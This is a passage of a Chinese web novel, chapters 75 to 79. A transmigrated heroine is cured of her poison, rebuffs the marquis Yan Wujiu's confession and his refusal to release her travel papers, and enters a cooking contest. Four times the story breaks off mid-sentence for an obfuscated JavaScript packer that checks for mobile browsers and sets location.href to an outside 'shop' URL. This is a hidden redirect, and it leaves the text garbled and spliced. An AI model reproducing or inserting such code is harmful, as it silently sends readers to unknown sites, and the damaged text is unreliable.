夏清棠眸中闪过了然,“好”。 江汐汐定定看了看夏清棠,又拿出一个东西,她递给夏清棠。 “夏姑娘,如果可以,希望你能收下。” 夏清棠低眸看去,好像是项链,她在犹豫,因为此刻她的脑海中突然浮现出某种阴谋论,类似于项链上有毒之类。 看出夏清棠的顾虑,江汐汐眸光闪烁,这个长命锁,今天必须给出去。 她把项链放在了石桌上,笑了笑,“夏姑娘,送给你的礼物,告辞。” 江汐汐拖着辜战离开了。 夏清棠停在原地,脑海中是江汐汐和辜战进侯府时,那微不可察的异样情绪,好像是带着某种怒气,可面对她时又都是很真实友好的笑容。 而且……画像上那两个人,容貌、气质、衣着,怎么看都不像是普通人。 更别说,江汐汐和辜战这两人能眼都不眨一下,就说把这么多珍贵药材送给她。 还有这个项链。 夏清棠垂眸看向桌上的项链,不,更应该说是长命锁,像是大人给孩子准备的,是龙纹锁样式的,看着有些时间了,是旧物。 想了想,她还是将这长命锁小心的收起来,又收起石桌上的药材,去到安瑾的院子。 刚一进院子,就听到屋子里传来安瑾和晏无咎的说话声。 她脚步顿住,昨日晏无咎哭着抱着她喊糖糖的画面历历在目,糟糕,替别人尴尬的毛病又犯了。 “门外的,还要偷听多久啊。” 晏无咎懒洋洋的欠揍声音传来,夏清棠翻白眼,好好好,人家都没尴尬,她倒是先在这尴尬开了。 夏清棠笑了两声,长腿跨进屋子。 “安大夫,喝茶呢?” 安瑾喝了口茶,注意到夏清棠怀里的布包,“嗯,哟,夏姑娘是拿什么好东西来了”。 夏清棠将东西摆在桌上,“是萧公子需要的那些药材,可惜,还差两味”。 安瑾叹了口气,“夏姑娘,这次真是多谢了,剩下的就交给我们吧”。 “不过,你来的正好,你的解药,我给你做好了。” 夏清棠多日来的愁绪在听到这句话的瞬间一扫而空,她迫不及待要服下去了。 在旁边阴沉着脸看着两人开心交谈的晏无咎,周身气息恐怖的令人发指,他目光锁在夏清棠身上,见两人还在交谈,他直接走到夏清棠身后,长臂从夏清棠的腰侧伸过,拿起桌上的药材。 感受到身前人身体的僵硬,他嘴角勾起轻笑,似是好奇,他又俯身凑近夏清棠,低沉的嗓音带着坏笑,“夏姑娘,你好厉害,居然能找到这么多药材”。 夏清棠麻了,从晏无咎走到她身后的第一秒,她就想闪身离开,谁知道这个疯子,竟然用手拽着她衣裳后面的带子,现在更是直接用左手掐着她的腰。 “侯爷,咱们这样站着太挤了,你要是想好好看看这些药材的话,我给你腾位子。” 【疯子疯子疯子,大傻*大傻*,安瑾还在这,他就搞这一出。】 【我要狠狠的踩他。】 下一秒,夏清棠惊呼了一声,抬起脚往后退,一只脚精准的踩在晏无咎的脚上,成功了,可是,晏无咎为什么抱住她了。 晏无咎的下巴抵在夏清棠的发顶,喉结滚了滚,发出一声闷哼,“夏姑娘,你踩我踩的好狠呐,晚上睡觉,你的良心会不会谴责你,嗯?”。 【谴责个屁!】 夏清棠没搭理晏无咎良心谴责论的话题,而是满脸惊恐在晏无咎怀里挣扎,“侯爷!刚才是有个大蜘蛛啊!我这都是怕吓到你啊”。 晏无咎脸色微变,可余光瞥到身前女人勾起的嘴角,他轻笑笑,轻轻推开怀中女人,“是吗,那真是谢谢夏姑娘了,费尽心思的想远离我”。 夏清棠:【……】 “不是!我真服了你俩了,是不是一来我这儿就戏多啊!” “我又不是啥吉祥物,真当我是摆设呢,姐们!哥们!我也是个人呐!” “我知道了,我是人,你俩真不是人。” 安瑾无语的咧着嘴看完这俩人的互动,他的白眼就差翻上天了,一对儿狗男女!!! 晏无咎嘴角勾着笑,对安瑾的话不置可否。 夏清棠现在只想赶快拿到解药。 “安大夫,我们去拿解药吧。” 第七十五章会离开吗? 安瑾起身,“对对对,这么重要的东西是要赶紧交给你”。 “跟我来。” 跟着安瑾一路来到他的专属药房,是一个很隐秘的地方。 夏清棠眼底划过意外,没猜错的话,这里应该是安瑾每次来给晏无咎治疗时的地方,就这样带她过来? 安瑾在墙上摸了几下,轰隆隆,是重物移动的声音,很快,房间里唯一的桌子上升起一个木方盒。 安瑾把它递给了夏清棠。 “你的解药。” 这一瞬间,夏清棠脑中划过很多画面,她眼尾泛起红意,随即,毫不犹豫地把药丸塞进嘴里。 她闭上双眼,一滴清泪从眼尾流出,老天爷啊,终于让她吃到解药了! 狗屁的穿书,狗屁的晏无咎,狗屁的,统统是狗屁的,她马上就要自由了。 晏无咎眼眸里是关心,他声音罕见的小心,“夏清棠,怎么样?”。 安瑾很自信,夏清棠这绝对是吃对药了,激动的落泪了。 夏清棠睁开双眸,感受着身体前所未有的轻松,她露出了来到这里后最真实的笑容,“谢谢你,安大夫”。 “谢谢你,晏无咎。” 安瑾摆摆手,“嗐!不是啥大事,药材你都给找齐了,要是我再给你弄不出来解药,那我真是太菜了。” 晏无咎别扭:“谢我干嘛。” 夏清棠:“谢谢你让安大夫给我解毒。” 晏无咎压住嘴角,“你应得的”。 夏清棠杏眼亮晶晶,晏无咎还挺有良心。 安瑾咧着笑走进夏清棠,“夏姑娘,是不是一吃了这药,那种沁进骨子里的痛意都消失了啊。” 夏清棠:“对,之前虽然每天都有吃安大夫你给的压制毒发的药丸,可还是会有隐隐痛意,就像是之前毒发沁进骨子里的疼,当然,和毒发的疼不能比”。 安瑾:“这就对了,这毒啊,解了。” “哈哈哈!咱们真是牛逼,连这种亡国的秘毒都给解了。” “安大夫厉害!” 晏无咎看着笑哈哈的夏清棠,眼底有高兴,也有心疼,还有不易察觉的偏执。 毒解了,他是不是就没有利用价值了。 夏清棠,你会离开吗? “喂,老晏,臭着张脸干啥呢,给爷笑一个。” 安瑾贱兮兮的搂上晏无咎的宽肩,“天大的好事儿啊,咱们今晚是不是得喝点小酒,庆祝庆祝啊”。 晏无咎长睫低垂,遮住眼底神色,“好啊,咱们是得为夏姑娘好好庆祝庆祝”。 “这怎么不算是一种新生呢。” …… “汐姐,咱们这么早就把锁给了她,是不是不太好啊。” 江汐汐眉目冷沉,此刻丝毫不见在夏清棠面前时的温柔,“你忘了老国师说过的话吗?”。 辜战:“可是……她明明一点都不相信我们。” 江汐汐:“所以呢,你想照着谁的想法去做,吃过的教训还不够你长记性吗?” “还是,你非要去撞个头破血流,客死他乡,才愿意听话。” 辜战张了张嘴,没发出什么声音,良久,一道极轻的声音从他喉间发出,“我知道了,我会听话”。 江汐汐声音依旧冷冽,“嗯,你很厉害,我也很厉害,只是有些事,再厉害的人也把握不住”。 老国师他……可是我们渊国最厉害的司命天师。 辜战想到些什么,“汐姐,你说,小殿下都还活着,那老国师的孩子会不会还在”。 江汐汐:“会找到的。” “报——!” “进。” “主子,无影阁发来请帖。” 江汐汐接过请帖,拿出其中的密件,脸上神色愈发冷沉。 “呵,不愧是无影阁啊,不给消息的时候,屁都不放一个,这一放,就是放了个炸药呢。” …… 镇北候府这边,夜晚庆祝还没来到,倒是来了位不速之客。 是许久不见的朔千钰。 三人听到传报声,脸上皆是错愕,甚至有一种恍若隔世的感觉。 朔千钰?这是什么时候的人了,又出来蹦跶。 起码,夏清棠是这样想的。 “无咎兄?无咎兄?” “你们侯爷呢?” 林木汗颜,这个四皇子说是来找他们侯爷游玩,怎么一副要吃人的模样,实在是太像鬼了。 “侯爷…侯爷他在呢,四皇子您先坐。” 朔千钰擦了擦额头的虚汗,脸上焦急毫不遮掩。 “四皇子,这是跑过来的?” 晏无咎过来了。 朔千钰一看到晏无咎,脸上焦急反而消失殆尽,一副胜券在握的姿态。 “无咎兄,是啊,是我太急了,急着见你啊。” 晏无咎:“……” 刚过来看热闹的安瑾和夏清棠:“……” 他们好像听到些什么不得了的东西,夏清棠的脑海中甚至已经脑补出一出‘唯利是图男主VS傲娇毒舌反派’的好戏。 晏无咎:“你好好说话。” 朔千钰不解,但也管不了那么多,干正事要紧,“无咎兄,你可得帮帮我啊,只有你才是我的好兄弟呀”。 “你不是有七八个皇兄皇帝吗?” 朔千钰:“那不一样!只有你才会无条件站在我这边,像个亲人一样帮助我。” 才怪,是像个蠢货一样,朔千钰在心底恶毒的想。 晏无咎发出意味不明的轻笑,悠闲坐在椅子上,端起茶杯不紧不慢的品了口茶。 “是吗,千钰兄,我们的想法竟是不谋而合。” “无咎兄,你……” 晏无咎的声音盖过朔千钰的声音,“千钰兄,你能不能再给我些银两”。 朔千钰懵了,要说出口的话梗在喉间,晏无咎疯了?! 晏无咎认真的看着朔千钰,“我们是好兄弟不是吗?”。 “千钰兄,我给过你那么多东西,你不会舍不得给我些银两吧。” 恰在这时,夏清棠走进正厅,询问晏无咎,“侯爷,咱们今晚是吃白馒头,还是吃黑窝窝头”。 朔千钰:“……” 晏无咎真这么穷?不过也是,他个蠢货,一有点银钱就全贴补到军队了,他不穷谁穷。 这时,安瑾又疯疯癫癫的跑进正厅,“侯爷,快给我钱,我要买药材啊!”。 朔千钰面色僵硬,“无咎兄……这是”。 晏无咎叹气摇头,“唉,这是我好友,一个研究药方子研究疯了的可怜人罢了”。 朔千钰疑问,“之前怎么没见过”。 晏无咎:“之前啊,之前关着他,买药材哄着他,才好些,现在……唉,现在太穷了”。 朔千钰还是有些不信:“无咎兄,你别唬我。” 茶杯遮掩下的唇角勾起弧度,晏无咎重重叹息,出口的话还没说完,门外就再次传来异响。 第七十六章越骂越爱 声音太过奇怪,屋内三人的注意力毫无疑问的被吸引。 是抑扬顿挫的哭喊声。 “侯爷啊!老奴知道您心好,求求您了,求求您救救我那好赌的儿子吧!” “给我点银两就行啊!” 朔千钰一脸难言的表情的看着晏无咎,“这……无咎兄,几日不见,为何你府上变得这么热闹”。 晏无咎深深的叹了口气,一只手还挡着扑向他问他要银两买药材的疯子安瑾,看着别有一番风味。 “唉!千钰兄,你也看到了,我现在真是处于水深火热中。” “你看……若是可以的话,能不能给我点银两,让我周转周转。” 朔千钰这下不仅是脸僵住了,就连浑身都僵住了,他正要来口说话,余光却瞥见几道身影冲进房间,尖叫着嘶吼着,狠狠的向他扑来。 嘴里还喊着,“不给我钱,我就死在这!”。 啪! 尖锐响亮的的一掌狠狠拍在被扑倒的晏无咎身上。 晏无咎好似刚反应过来,连忙叫来侍卫,将扑倒在朔千钰身上的男人薅开。 朔千钰狼狈的平躺在地上,整张脸气得通红,上面还有一个鲜明的手掌印,他狼狈起身,大怒:“**!通通**!”。 连日来的忧心焦躁和此刻在这么多人面前丢脸,很快让他失掉多年来伪装出来的风度。 一只大掌拍上他的肩膀,朔千钰破口就要大骂,却看见是晏无咎,他的怒火瞬间消了大半儿。 “无咎兄,你要干嘛?别拦着我,他们居然敢这样欺负你,我得为你报仇啊!” 这间屋子里一片混乱,在朔千钰眼里,唯一的正常人就是他和晏无咎以及夏清棠。 听到朔千钰两肋插刀只为兄弟的话语,晏无咎脸上却露出一副悲天悯人的神色,“千钰兄,我们不能这样做,他们可是你的子民呐”。 “若是你真心想解决的话,就拿出银子来。” 朔千钰:“……” **该说什么好,晏无咎变了,变得拜金了,张嘴闭嘴都是银子,你看他长得像不像银子。 晏无咎依旧叹气,他要上强度了。 “四皇子,我们都知道你是最爱民的皇子,而且,我们是好兄弟不是吗?” “你忘记了吗,你需要银子的时候,我都是毫不犹豫的给。” 安瑾见时机很对,突然冲上去狠狠抱住晏无咎的大腿,一把鼻涕一把泪,演的那叫一个酣畅淋漓啊。 “呜呜呜!给我银子啊,给我点银子啊!” “不对,我要很多银子,呜呜呜,我要很多银子。” 像鬼,是疯子。 朔千钰无望的闭了闭眼,他真是造了孽了,非得今天来找这个狗屁晏无咎,遇到这一群狗屁精神病。 他僵硬的扯了扯嘴角,“无咎兄,我突然想起来我还有事儿,我就先走了”。 说完,朔千钰急匆匆的就往外走,太慌了,一不小心摔了个狗啃屎。 “……” 该死的晏无咎!都怪他,不然自己也不会一个人筹备冬猎事项,更不会来他府上要钱,也就不会像现在这样丢脸! 这笔帐,他朔千钰记下了! 一瘸一拐浑身狼狈的朔千钰走出镇北候府。 他发誓,一定要让晏无咎府上这群疯子死无葬身之地。 “噗!哈哈哈哈哈哈哈!” “笑死我了,嘛呀,我还是第一次间朔千钰这么狼狈,好有意思。” 安瑾松开抱着晏无咎的双手,从地上起来,满脸兴奋,嘴里是猴叫似的笑声。 晏无咎嘴角也勾着笑意,“你演疯子挺有一套,像真的”。 说着,他又看向在旁边偷笑的夏清棠,“你鬼点子还挺多”。 夏清棠扯了扯嘴角,皮笑肉不笑,“哈哈,我也没想到侯爷你居然会主动提出搞四皇子”。 【看来晏无咎是真的开智了,居然知道拒绝朔千钰了。】 【真是怪哉又快哉啊。】 【书中晏无咎在朔千钰当上皇帝之前可是一直都真心的认为朔千钰是自己的好兄弟啊,因为这,可真是没少被朔千钰坑。】 晏无咎挑眉,嘴角微勾,再遇到夏清棠之前,他确实是对朔千钰提出的要求尽可能地满足,但,前提是,他以为朔千钰是自己儿时的救命恩人,亦或者是和自己的救命恩人有什么关系。 现在看来,朔千钰是屁关系都没有。 至于那枚玉佩,想来也是朔千钰用什么不光彩的手段从别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说的爱我爱得不可自拔,还算数吗?” 晏无咎牵住夏清棠的手,细细摩挲着她的手指,空气中都弥漫出一种说不清道不明的奇怪氛围。 夏清棠内心真的是土拨鼠叫。 【啊啊啊啊啊!!!救救我救救我救救我。】 “你在想什么?” 晏无咎凑近夏清棠的脸侧,故意朝她的耳朵喷洒着热气,果不其然,看到夏清棠红透了的耳朵尖,他喉间溢出满意的轻笑。 看来对他也不是完全无动于衷吗。 夏清棠拼命的往前挤着身子。 【晏无咎在发什么烧,别跟我说他突然发现自己爱上我了。】 “怎么办。” “夏清棠,我好像爱上你了。” 夏清棠瞳孔阵地又阵地,嘴巴惊讶的大张,她脑子宕机了。 晏无咎好笑的看着夏清棠这副呆若木鸡的模样,亲昵的用脸颊蹭了蹭夏清棠的脸颊,嗯,软软的,香香的,他好喜欢。 “你没听得到吗,那我再说一次。” “不是不是,等等。” 夏清棠反应过来,连忙喊住晏无咎,她不想再宕机一次。 【晏无咎喜欢我?不是,这绝对是阴谋。】 晏无咎双眸紧紧盯着夏清棠微张的红唇,想亲。 这样想着,他也就问出来了。 “我可以亲你吗?” “不可以!” 夏清棠冷静了一下,推了推晏无咎的胳膊,“侯爷,我觉得你可能是误会了”。 “咱们坐下来好好说。” 晏无咎挑眉,“我听你的”。 夏清棠带着晏无咎做到了桌边,她决定对着晏无咎来一场辩论赛。 夏清棠直视晏无咎的双眼,却又给自己搞宕机了。 【……晏无咎不会是来真的吧】 无它,实在是晏无咎的目光太过炽热,太过直接。 晏无咎察觉到夏清棠的失神,他稍稍侧了侧身子,自认为露出自己最好看的角度,又露出迷人的笑容。 “棠棠,你说。” 夏清棠:“……” 【原来糖糖真的是棠棠,而不是糖糖吗,而且,晏无咎帅是帅,但也太骚包了。】 【像只求偶的烧孔雀。】 夏清棠正了正神色,“侯爷,你喜欢过别人吗?”。 一听这话,晏无咎脸上从容不见,露出一丝慌张,“棠棠,你相信我,我只对你一个人动心过”。 “其实,一开始,我还不知道,都是多亏的安瑾的话本子。” 夏清棠:……我真是谢谢那些话本子了 “晏无咎,其实你这不是真的喜欢我。” 晏无咎:“为什么?我是真的爱你,看到你我就想抱你亲你睡你,看不到你,我就难受。” “这还不叫爱吗?” 夏清棠:“你这只是被话本子里虚幻的爱情的故事暂时洗脑了而已,你要看清自己。” 晏无咎:“我看的很清,我不是瞎子。” 夏清棠思索,“你可能只是因为,我帮了你点忙,对我产生感激之情和友好的感情,但是你自己误会成爱情了”。 晏无咎:“不可能,我就是爱你。” 他又反问,“你会想亲自己的救命恩人和朋友吗?”。 夏清棠:“如果太激动的话,也说不定哈。” 晏无咎危险的眯起双眸,他的脑海中第一个浮现的就是安瑾,他是棠棠的救命恩人,而且,两个人最近走的很近,经常会有说笑声。 晏无咎嘴角勾起坏笑,眼尾带上坏意,“那你会想睡他们吗?我可是日日夜夜都想着你呢”。 夏清棠内心再次发出尖锐爆鸣声。 【烧男烧男,好烧的男人,我服了,不过,要是晏无咎愿意色诱我的话,那我说不定还愿意大发慈悲的宠幸宠幸他。】 色诱?听起来不错。 晏无咎轻笑,他对自己的身材很自信。 夏清棠:“咳!侯爷,我觉得我们都需要冷静一下。” 晏无咎:“冷静什么,你见我的第一面,不救嚷嚷着倾慕于我,要一辈子陪在我身边吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150222|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“现在,你喜欢我,我爱你,我们两个天生一对,你不开心吗?” “我们为什么要冷静,还是说,从一开始,你就知道我的身边有安瑾这一号人物,你就知道你身中剧毒。你接近我帮助我拯救我,难道只是为了解毒吗?” 夏清棠力竭了。 她感觉到深深的挫败。 【晏无咎怎么说的一个不差,唯一差的就是,我一开始以为神医是萧策。】 夏清棠像蛇一样,神不知鬼不觉走到夏清棠身后,大掌从耳后轻轻抚上她的侧脸。 “棠棠,你真的只是为了解毒吗?” 【废话!我都要**,我不是为了解毒我就是傻*】 夏清棠已读乱回:“还行。” 夏清棠侧头躲着晏无咎的手,“侯爷,你别这样,像男鬼,我害怕”。 晏无咎听话的把手拿开,又把脸凑了上去,“棠棠,我理解你,如果不是你要解毒,那我们可能还要迟点再相爱”。 “你看,连老天爷都在撮合我们。” “天生一对的人,就该永生永世都在一起。” “你说呢?” 夏清棠:“晏无咎,你真的需要冷静一下。” “你不愿意和我在一起吗?” 夏清棠忍不了了,她砰的站起身,狠狠闪了身后的晏无咎一下,说出了她自己都敬佩的清醒发言。 “晏无咎,你口口声声说你爱我,可是你知道,你的爱会给我带来多大的压力吗?” “每天想让你死的人有多少,就算我们幸运,次次都躲过了,可是,你身为将军,日后还要上阵杀敌,你去了,我一个人在京城,我该怎么办。” “还是说,你口中的爱,就是让我做你见不得人见不得光的外室。” 晏无咎慌了,他心口发紧,脑中什么都想不了,只想解释,“你只会是我明媒正娶的妻子”。 夏清棠冷笑,“所以呢,我前两句话,你的想法是什么?”。 “你的爱我,就是把我推入虎穴狼巢吗?让我每日生活在水深火热之中,最后死于别人的刀下,或者是…吓死?” 第七十八章是我自私了 晏无咎心口酸胀,眼眶泛起泪花。 是他自私了。 良久,他站直身子,背对着夏清棠,往日低沉暗哑的嗓音此刻隐隐透露出颤抖。 “你说的对,我们是该好好冷静一下。” 晏无咎离开了。 呼—— 夏清棠紧绷的神经终于松懈,她浑身泄了力,软趴趴的趴在桌子上。 对于晏无咎的感情,她虽有点预感,可今天的情况她是万万想不到的,谁能想到晏无咎真会主动直接挑明了说啊。 这直球打的太猛太烈,她招架不住,而且,刚才她说的都是真的啊,确实是很危险,她现在只想离开,只想去过潇洒的好日子。 什么晏无咎,什么江汐汐辜战,还有那什么跟她爹娘长得一样样的画像,统统滚蛋! 屋子内很静,夏清棠脑子很乱。 良久,她叹了一口气。 “是我自私了。” 为了解自己的毒,为了减轻每日毒发时的痛苦,主动接近晏无咎,给了他错觉。 …… “哟!老晏,怎么样啊?” 安瑾看到晏无咎的身影,直接冲上去就是调侃,丝毫没有注意到身前人浑身的低气压。 晏无咎只冷冷的扫了安瑾一眼,没说话,径直往书房走。 安瑾惊觉自己好像发现了什么不得了的秘密,晏无咎的眼眶居然是红的! 安瑾贱兮兮的凑上前去,“老晏,你哭啦?”。 “听兄弟一句劝,实在喜欢,就去找皇帝,让他直接赐婚!” 晏无咎:“滚!” 安瑾:“……” 滚就滚,到时候人家真走了,谁哭谁是狗! 安瑾滚了,晏无咎进书房面壁思过了。 …… 夏清棠沉默的走回自己的屋子,脑子里乱七八糟的想法已经被她仍在脑后,她小小的雀跃了一下。 毒解了!还有什么比这更开心的事儿吗? “哈哈哈!爽!” 对了,还有明天的厨王争霸赛的初赛,夏清棠眉头蹙起,现在退出还得及不。 她现在钱够够的,只想赶紧找个时间离开。 毕竟这是一本小说,她虽然解毒了,但在这书里还是一个炮灰身份,最好还是要离得主角和反派远点。 想到这,夏清棠直接开始收拾东西,打算走人。 晏无咎会不会放她走?会不会把文书给了她。 若是没有身份凭证和放行许可,那肯定走不远。 现在晏无咎恐怕正在气头上呢,要去问他要文书,会不会成功,说不定,他恼羞成怒,直接连文书带她就都丢出去了。 夏清棠觉得可行,她悄咪咪从门框处探出头,发现晏无咎那边静悄悄的,她记得晏无咎这个时间一般都是在书房里待着。 咚咚咚—— 夏清棠敢想敢做,真的去敲门了。 没人理,没听到? 咚咚咚—— 门开了。 脸色阴沉的晏无咎看到是夏清棠的一瞬间,双眸亮了许多。 夏清棠尴尬的扯了抹笑容,“侯爷,既然我们要各自冷静一下的话,那我不如搬出去住”。 “你能不能把那个……文书给了我呀。” 晏无咎眸光顿住,周身气息恐怖的令人发指,“这么迫不及待就往外逃,是怕我吃了你?”。 夏清棠:“不是不是,就是怕你看到我心里不舒服。” 晏无咎冷嗤一声,“放心,我没那么小心眼,再说了,我也不是非你不可”。 夏清棠松了一口气,“那就好”。 “所以,侯爷,能不能把文书给了我呀。” 晏无咎眯眼,明明心里不爽的要死,嘴上却是淡淡的说,“不能”。 夏清棠:“……” “为什么?” 晏无咎冷笑:“我想给就给,不想给就不给。” 夏清棠一愣,小声嘟囔,“幼稚鬼”。 【这个男人真是翻脸比翻书还快,刚才还在那给我深情表白呢,现在就又是一副拽天拽地的样子。】 【刚才真是白跟他说那么多了。】 晏无咎脑海中又出现,他的爱是压力这句话,登时眼尾耷拉下来,整个人身上又是满满的挫败感。 晏无咎:“你想离得我远远的?” 夏清棠:“还行。” 晏无咎:“现在不少人都知道你是我的…府上的人,你还得罪了朔千钰,你以为你离开侯府就能过上潇洒日子,就能保证安全吗?” “这方面,是你天真了。” 【……我会逃得远远的。】 夏清棠:“侯爷说得对,是我异想天开了,我就先退下了。” 没等晏无咎再说话,夏清棠逃命似的溜走了。 晏无咎眉目阴沉,他到底该不该放夏清棠走。 可是,不甘心怎么办。 林木悄咪咪走进晏无咎,“侯爷,夏姑娘明日去参加厨王争霸赛的初赛”。 晏无咎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155544|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收敛情绪,脑中思索,这场比赛是皇帝为了那位不吃不喝的皇后搞得,若是夏清棠真的走到最后,免不了要进宫。 做的菜皇后满意还好,若是不满意,那她就危险了。 晏无咎眼里带上嘲讽,若真叫她赢到最后,又真的遇到危险,他去宫里保她,怕是会给她带来更大的麻烦。 “让她输。” 林木愣住。 …… 第二日,夏清棠早早起了床,带着切菜的家伙,奔向了满香楼。 她觉得重在参与嘛,来参与一下,肯定只有好处没有坏处。 当然,这个乐观的想法在她站上比赛台,并且还看到了同样站在比赛台上的朔灵汐的时候,瞬间消失殆尽。 前些日子在大街上看到的朔灵汐的异样行为也瞬间解释的通了。 原来这都是朔灵汐在为自己参加厨王争霸赛做的准备工作啊。 朔灵汐自然看到这边站着的夏清棠,她目光有意外,也有嘲讽。 也对,一个贱民看到有这么银子能拿,怕是疯了也要来参赛,不像她,可都是为了别人呐。 朔灵汐对着夏清棠投过一个挑衅的眼神。 你死定了! 夏清棠:“……” 真的很无语,感觉这本书里确实是……正常人有一点少。 “我们厨王争霸赛的初赛!正式开始!” 初赛就是从民众中选出代表,上台吃选手的做的菜,然后投票,票高者胜。 夏清棠往人群处一看,赫然对上王淑芬兴奋激动的双眼,王大娘是代表之一。 夏清棠笑了笑,开始专心造菜。 初赛面向的人群既然是普通老百姓的话,那菜自然不能做的太花里胡哨,味道要好吃,要亮眼,菜量要大。 而且,她可没忘了,有一项要求是,不仅要做菜,还得结合才艺表演。 夏清棠手下动作变了,手中的刀炫酷的变化毫无疑问吸引了很大一波视线。 “嘿,看那位姑娘切菜就跟耍杂技一样。” “可不是,看着真是又危险又好看。” 王淑芬乐了,“那不是夏姑娘吗?”。 “大娘你认识?” 王大娘一听这话,讲故事的能力被激发,开始兴奋的跟身边看热闹的人群讲述之前沦落为流民时的遭遇。 在王淑芬的口中,夏清棠英明神武,机智果断,那可是一点都不输侯爷啊。 “哇——!” 周围人的惊叹声不绝于耳。 第七十九章赢了?! “那位姑娘原来这么厉害,我必须支持!” 一小会儿时间,夏清棠便已经积攒到小粉丝。 无人注意的角落处。 “汐姐,我们要不要给她也搞点人气。” 江汐汐摇头,“你知道搞这厨王争霸赛是干啥的吗?”。 辜战:“?” 江汐汐:“是那皇帝下令让人搞得,为的是皇后。” 辜战眼神一亮,“那不是正好吗?要是夏清棠赢了这比赛,岂不是就能进宫见到皇后娘娘了。” 江汐汐眼神带上怅惘,“哪有那么容易,狗皇帝根本不会让人接近皇后娘娘”。 辜战嘴里飚了一串脏话。 江汐汐:“所以,我们还得让她输。” 辜战犹豫,“可……她会不会不开心”。 江汐汐一如既往的沉静,“开心重要还是命重要”。 辜战噤声,“我懂了”。 …… 台上的比试进行的如火如荼,比较独特的画面就是朔灵汐这里了。 因为,她根本就不会做菜啊,就是在那切了两刀,然后挥挥衣袖,全当跳舞了。 朔灵汐不屑,一群贱民也配让她做饭?能来还都是因为她太善良了。 皇兄说了,不管她怎样,一定会走到最后的。 “场上各位已经结束,各位也都品尝过了,那接下来就让我们的代表人们出来投票!” 王淑芬带着人来到投票处,他们很自信,夏姑娘绝对能赢! “好了,我们现在来宣布投票结果!” “……朔灵汐” 只听比试的主事人念完了通过初赛的人选,就是没听到夏清棠的名字。 王淑芬意外,王淑芬可惜,王淑芬叹气,怎么就输了呢。 江汐汐和辜战松了口气。 林木松气儿。 输了就好。 朔灵汐挑衅的望向夏清棠,“贱民,本公主就知道你不行”。 夏清棠哈哈一笑,输了就输了吧,就是蠢公主实在是让人厌烦,找机会一定要暴揍她一顿,让她见识见识社会的险恶。 夏清棠坦然接受了这个结果,正准备下台,却听到主事人发话了,声音很慌乱,带着惶恐。 “发生了一点意外,刚才的票数错了,通过初赛的还有一位夏清棠。” 人群声音嘈杂,这句话只有站在前面的一些人听到了,可耐不住人群的传播速度快。 很快,在场人就都知道了。 夏清棠:“……?” 朔灵汐咬牙,“算你这个贱民走运!下一次,你可就没这么好的运气了”。 夏清棠翻白眼。 她有种错觉,怎么感觉是有人在给她走后门啊。 在场最不平静的要属王淑芬,江汐汐和辜战,以及林木。 果然赢了!(怎么就又赢了呢?) …… 满香楼最顶楼,一个男人满意的听着手下的汇报。 这个男人就是好久不见的朔砚辞。 “主子,您交代的办成了。” 朔砚辞的满意的品了口茶,“嗯,不错”。 他阴冷的目光始终停在楼下的夏清棠身上。 “嗤!我倒是小瞧你了。” 这摧心散居然还真叫你解了,既然如此,那就不要怪他了。 毕竟是你背叛在先。 厨王争霸赛? 朔砚辞突然发出阴冷的笑声。 “真以为是给你们准备的啊。” 不过,夏清棠这张脸长得倒是越来越像那个男人了,若是她赢了这厨王争霸赛的决赛,进了皇宫……皇帝看到她这张脸,会怎么想呢? “哈哈哈!好难猜呢。” 想必皇帝肯定会联想到那个男人,这夏清棠还是晏无咎府上的人,到时候,你们,一个都逃不掉! “主子,您这一招实在是妙啊!” 朔砚辞收敛笑意,冷声呵斥,“不该说的话别说,不该拍的马屁别乱拍”。 “我只不过是惜才罢了。” 手下:“是,主子说的对!” 朔砚辞斜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155545|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睨了他一眼,“你退下吧”。 手下:“是,主子。” 氛围瞬间变得寂静,朔砚辞又发出几声神经的笑声。 还有那个蠢货朔千钰和疯子朔灵汐,一个都逃不掉! * 晏无咎面目阴沉的听完手下的汇报。 “你是说,本来宣布她输了,后来又赢了?” 林木:“是。” 晏无咎冷笑,这是……已经盯上夏清棠了?还是什么新的招式。 晏无咎:“你下去吧,加派保护夏清棠的人手。” 林木:“是,主子。” 林木边往出走,边感叹,侯爷真的是开窍了,想必很快,侯府就要添小主子了。 